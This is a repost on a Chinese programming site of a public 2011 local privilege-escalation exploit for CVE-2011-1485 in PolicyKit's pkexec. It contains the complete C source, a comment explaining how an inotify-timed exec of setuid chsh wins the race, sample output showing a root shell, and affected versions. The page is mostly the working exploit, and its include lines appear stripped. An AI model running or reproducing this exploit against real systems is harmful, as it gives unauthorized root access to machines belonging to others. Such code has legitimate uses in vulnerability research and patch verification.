linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」

linux polkitd 漏洞,CVE-2011-1485 Red Hat PolicyKit pkexec功能和polkitd守护进程竞争条件漏洞-漏洞情报、漏洞详情、安全漏洞、CVE – 安全客…「建议收藏」/*polkit-pwnage.c***==============================*=PolicyKitPwnage=*=byzx2c4=*=Sept2,2011=*==============================***Howdyfolks,**T…

大家好,又见面了,我是你们的朋友全栈君。

/* polkit-pwnage.c

*

*

* ==============================

* = PolicyKit Pwnage =

* = by zx2c4 =

* = Sept 2, 2011 =

* ==============================

*

*

* Howdy folks,

*

* This exploits CVE-2011-1485, a race condition in PolicyKit.

*

* davidz25 explains:

*

* –begin–

* Briefly, the problem is that the UID for the parent process of pkexec(1) is

* read from /proc by stat(2)’ing /proc/PID. The problem with this is that

* this returns the effective uid of the process which can easily be set to 0

* by invoking a setuid-root binary such as /usr/bin/chsh in the parent

* process of pkexec(1). Instead we are really interested in the real-user-id.

* While there’s a check in pkexec.c to avoid this problem (by comparing it to

* what we expect the uid to be – namely that of the pkexec.c process itself which

* is the uid of the parent process at pkexec-spawn-time), there is still a short

* window where an attacker can fool pkexec/polkitd into thinking that the parent

* process has uid 0 and is therefore authorized. It’s pretty hard to hit this

* window – I actually don’t know if it can be made to work in practice.

* –end–

*

* Well, here is, in fact, how it’s made to work in practice. There is as he said an

* attempted mitigation, and the way to trigger that mitigation path is something

* like this:

*

* $ sudo -u `whoami` pkexec sh

* User of caller (0) does not match our uid (1000)

*

* Not what we want. So the trick is to execl to a suid at just the precise moment

* /proc/PID is being stat(2)’d. We use inotify to learn exactly when it’s accessed,

* and execl to the suid binary as our very next instruction.

*

* ** Usage **

* $ pkexec –version

* pkexec version 0.101

* $ gcc polkit-pwnage.c -o pwnit

* $ ./pwnit

* [+] Configuring inotify for proper pid.

* [+] Launching pkexec.

* sh-4.2# whoami

* root

* sh-4.2# id

* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)

* sh-4.2#

*

* ** Targets **

* This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which

* as of writing uses 0.101, has backported 0.102’s bug fix. A way to check

* this is by looking at the mtime of /usr/bin/pkexec — April 22, 2011 or

* later and you’re out of luck. It’s likely other distributions do the same.

* Fortunately, this exploit is clean enough that you can try it out without

* too much collateral.

*

*

* greets to djrbliss and davidz25.

*

* – zx2c4

* 2-sept-2011

*

*/

#include

#include

#include

#include

#include

#include

int main(int argc, char **argv)

{

printf(“=============================\n”);

printf(“= PolicyKit Pwnage =\n”);

printf(“= by zx2c4 =\n”);

printf(“= Sept 2, 2011 =\n”);

printf(“=============================\n\n”);

if (fork()) {

int fd;

char pid_path[1024];

sprintf(pid_path, “/proc/%i”, getpid());

printf(“[+] Configuring inotify for proper pid.\n”);

close(0); close(1); close(2);

fd = inotify_init();

if (fd < 0)

perror(“[-] inotify_init”);

inotify_add_watch(fd, pid_path, IN_ACCESS);

read(fd, NULL, 0);

execl(“/usr/bin/chsh”, “chsh”, NULL);

} else {

sleep(1);

printf(“[+] Launching pkexec.\n”);

execl(“/usr/bin/pkexec”, “pkexec”, “/bin/sh”, NULL);

}

return 0;

}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/148178.html原文链接:https://javaforall.net

(0)
上一篇 2022年6月29日 下午12:46
下一篇 2022年6月29日 下午1:00


相关推荐

  • 深度长文AI一键生成:实测字节扣子空间新功能

    深度长文AI一键生成:实测字节扣子空间新功能

    2026年3月13日
    2
  • AT24C02 E2PROM芯片详解

    AT24C02 E2PROM芯片详解24C02 是一个 2KBit 的串行 EEPROM 存储器 掉电不丢失 内部含有 256 个字节 在 24C02 里面有一个 8 字节的页写缓冲器 A0 A1 A2 硬件地址引脚 WP 写保护引脚 接高电平只读 接地允许读和写 SCL 和 SDA IIC 总线可以看出对于不同大小的 24Cxx 具有不同的从器件地址 由于 24C02 为 2k 容量 也就是说只需要参考图中第一行的内容 芯片的寻址 AT24C 设备地址

    2026年3月18日
    2
  • C#单纯的字母数字ASCII码转换

    字母转换成数字byte[]array=newbyte[1];//定义一组数组arrayarray=System.Text.Encoding.ASCII.GetBytes(string

    2021年12月27日
    46
  • 回归分析——简单线性回归实例讲解(SPSS)

    回归分析——简单线性回归实例讲解(SPSS)什么是回归分析 回归分析是研究自变量与因变量之间数量变化关系的一种分析方法 它主要是通过因变量 Y 与影响它的自变量 Xi i1 2 3 之间的回归模型 衡量自变量 Xi 对因变量 Y 的影响能力的 进而可以用来预测因变量 Y 的发展趋势 相关分析与回归分析的联系与区别 联系 两者均为研究与测度两个或两个以上变量之间关系的方法 在实际工作中 一般先进行相关分析 计算相关函数 然后建立回归模型 最后用回归模型进行推算或预测 区别 相关分析研究的都是随机变量 并且不分自变量与因变量

    2026年3月19日
    2
  • 开源协议说明LGPL

    开源协议说明LGPLLGPL

    2026年3月18日
    3
  • FNN神经网络

    FNN神经网络FNN 网络结构 前馈神经网路是一种单向多层的网络结构 信息从输入层开始 逐层向一个方向传递 即单向传递 一直到输出层结束 前馈的意思就是指传播方向指的是前向 前馈神经网络由三部分组成 输入层 第 0 层 输出层 最后一层 中间部分称为隐藏层 隐藏层可以是一层 也可以是多层 FNN 如下图所示 其中圆圈是神经元 前馈神经网络 特点 每一层是全连接层 即每一层的每个神经元与上一层所有神经元都有连接 作用 1 多个全连接层可以从不同角度提取特征 2 全连接层作为输出层有分类和数值

    2026年3月19日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号